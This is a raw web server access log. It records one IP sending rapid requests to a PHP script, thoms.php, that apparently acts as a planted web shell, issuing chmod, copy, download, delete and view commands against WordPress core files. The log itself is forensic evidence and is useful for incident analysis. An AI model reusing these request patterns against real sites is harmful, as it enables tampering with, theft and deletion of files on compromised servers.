45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?chmod=canonical.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11855 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:52 -0400] "GET /thoms.php?chmod=class-wp-block-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 200 13026 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:52 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59363 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 200 18458 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:52 -0400] "GET /thoms.php?dl=compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?chmod=taxonomy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftheme-templates.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?chmod=fonts&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?dl=revision.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 200 30351 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?del=block-bindings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 200 12413 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?del=script-modules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 58989 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdeprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdeprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:53 -0400] "GET /thoms.php?dl=widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:54 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 200 14379 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:54 -0400] "GET /thoms.php?dl=ms-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:54 -0400] "GET /thoms.php?dl=class-pop3.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59219 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:54 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:54 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:55 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:55 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:55 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59210 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:55 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:55 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 200 17495 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:55 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:56 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:56 -0400] "GET /thoms.php?dl=feed-atom.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:56 -0400] "GET /thoms.php?dl=option.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=option.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:56 -0400] "GET /thoms.php?del=class-json.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59184 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:56 -0400] "GET /thoms.php?del=class-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcomment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcomment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?chmod=shortcodes.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:56 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 200 12368 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 200 15882 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 200 12552 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 200 17319 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11553 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?chmod=ms-load.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:58 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:58 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59102 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:57 -0400] "GET /thoms.php?del=class-wp-editor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:58 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:58 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:58 -0400] "GET /thoms.php?dl=class-wp-plugin-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=class-wp-plugin-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:58 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:58 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:58 -0400] "GET /thoms.php?chmod=json-schema.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
